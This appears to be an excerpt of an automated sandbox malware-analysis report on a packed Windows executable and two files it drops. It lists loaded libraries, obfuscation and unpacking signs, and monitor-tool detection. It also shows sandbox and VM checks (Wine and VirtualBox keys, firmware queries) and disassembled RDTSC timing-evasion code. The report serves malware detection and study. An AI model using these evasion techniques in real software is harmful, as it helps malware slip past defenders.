Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: Bire1g8ahY.exe Static file information: File size 1907712 > 1048576
Source: Bire1g8ahY.exe Static PE information: Raw size of sjczaofe is bigger than: 0x100000 < 0x1a9800
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Unpacked PE file: 9.2.4830TYWIJQ5SCGDL2FZPZJN92URB.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Unpacked PE file: 10.2.1I4F16VK8DFW90DXD.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: Bire1g8ahY.exe Static PE information: real checksum: 0x1d9e27 should be: 0x1dc216
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20
PE file contains sections with non-standard names
Source: Bire1g8ahY.exe Static PE information: section name:
Source: Bire1g8ahY.exe Static PE information: section name: .idata
Source: Bire1g8ahY.exe Static PE information: section name:
Source: Bire1g8ahY.exe Static PE information: section name: sjczaofe
Source: Bire1g8ahY.exe Static PE information: section name: kagvxnfw
Source: Bire1g8ahY.exe Static PE information: section name: .taggant
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name:
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name: .idata
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name: brdofphe
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name: pzoalvov
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name: .taggant
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name:
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name: .idata
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name: ynqricro
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name: wjlvyldl
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01349A12 push eax; ret 0_3_01349A29
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134FA1C push ecx; iretd 0_3_0134FA21
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134FA1C push ecx; iretd 0_3_0134FA21
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01349A72 push eax; ret 0_3_01349A29
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134DBA8 pushad ; retf 0_3_0134DBA9
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01349B92 pushad ; ret 0_3_01349BA9
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134BF8C push 780134D0h; iretd 0_3_0134BFA1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_013499E2 push edi; ret 0_3_01349A11
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134A6CB push ebx; iretd 0_3_0134A6D0
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B push esi; ret 0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B push esi; ret 0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B push esi; ret 0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B push esi; ret 0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_05AB3A94 push ds; iretd 0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_05AB3A94 push ds; iretd 0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_05AB3A94 push ds; iretd 0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_05AB3A94 push ds; iretd 0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134FA1C push ecx; iretd 0_3_0134FA21
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134FA1C push ecx; iretd 0_3_0134FA21
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A74DD2 push edx; mov dword ptr [esp], 2DFAC020h 9_2_00A74E1B
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A74DD2 push eax; mov dword ptr [esp], ecx 9_2_00A74E66
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A74DD2 push ecx; mov dword ptr [esp], edi 9_2_00A74EFD
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A74DD2 push ecx; mov dword ptr [esp], ebx 9_2_00A74F36
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A82D79 push ebx; mov dword ptr [esp], 3FF0ACADh 9_2_00A82D83
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A82E09 push esi; mov dword ptr [esp], 00DAF543h 9_2_00A83BD1
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A82E09 push esi; mov dword ptr [esp], edx 9_2_00A83BEC
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A82E09 push 50590FD7h; mov dword ptr [esp], ebx 9_2_00A84745
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00903092 push ebx; mov dword ptr [esp], 50CB9147h 9_2_009030B5
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A828AA push edi; mov dword ptr [esp], esi 9_2_00A83D7A
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A828AA push esi; mov dword ptr [esp], eax 9_2_00A8636C
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A798A0 push edx; mov dword ptr [esp], 34C9EE61h 9_2_00A7D083
Source: Bire1g8ahY.exe Static PE information: section name: entropy: 7.974596671217423
Source: Bire1g8ahY.exe Static PE information: section name: sjczaofe entropy: 7.953589195117511
Drops PE files
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File created: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Jump to dropped file
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File created: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B60502 second address: B60506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6BF28 second address: B6BF6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F62F943B884h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F62F943B886h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F62F943B878h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6BF6D second address: B6BF83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F8C4B19Bh 0x00000008 jns 00007F62F8C4B196h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6BF83 second address: B6BF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E52F second address: B6E536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E536 second address: B6E56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F62F943B888h 0x0000000e pop edi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnp 00007F62F943B882h 0x00000019 jng 00007F62F943B87Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E56A second address: B6E590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [eax] 0x00000006 jmp 00007F62F8C4B1A2h 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F62F8C4B196h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E590 second address: B6E594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E594 second address: B6E59A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E5CA second address: B6E657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007F62F943B882h 0x0000000b jmp 00007F62F943B87Ch 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F62F943B878h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push edi 0x0000002f je 00007F62F943B87Bh 0x00000035 mov edx, 14EFA5CAh 0x0000003a pop esi 0x0000003b jnc 00007F62F943B88Ch 0x00000041 push 00000000h 0x00000043 sbb dl, FFFFFFAAh 0x00000046 push 037C5F78h 0x0000004b pushad 0x0000004c jmp 00007F62F943B889h 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E657 second address: B6E6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A6h 0x00000009 popad 0x0000000a popad 0x0000000b xor dword ptr [esp], 037C5FF8h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F62F8C4B198h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c ja 00007F62F8C4B19Ch 0x00000032 push 00000003h 0x00000034 jns 00007F62F8C4B19Ah 0x0000003a sub dword ptr [ebp+122D3046h], eax 0x00000040 push 00000000h 0x00000042 mov esi, 24EA6136h 0x00000047 push 00000003h 0x00000049 mov si, di 0x0000004c call 00007F62F8C4B199h 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jne 00007F62F8C4B196h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E6DA second address: B6E6DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E6DE second address: B6E6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E6E4 second address: B6E704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E704 second address: B6E708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E708 second address: B6E70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E70E second address: B6E729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jp 00007F62F8C4B196h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F62F8C4B196h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6E8EB second address: B6E97B instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ecx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jng 00007F62F943B889h 0x0000001d pop eax 0x0000001e sub cx, 6027h 0x00000023 mov esi, 07264D3Fh 0x00000028 lea ebx, dword ptr [ebp+1245A486h] 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F62F943B878h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 jnc 00007F62F943B881h 0x0000004e mov esi, 2B99B7C0h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F62F943B886h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8E550 second address: B8E555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8E555 second address: B8E563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B87Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8E7BC second address: B8E7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B19Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B8E7CC second address: B8E81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F62F943B886h 0x0000000c push eax 0x0000000d jmp 00007F62F943B87Fh 0x00000012 pop eax 0x00000013 push ebx 0x00000014 jg 00007F62F943B876h 0x0000001a pop ebx 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pushad 0x00000020 popad 0x00000021 pop ebx 0x00000022 jmp 00007F62F943B885h 0x00000027 rdtsc
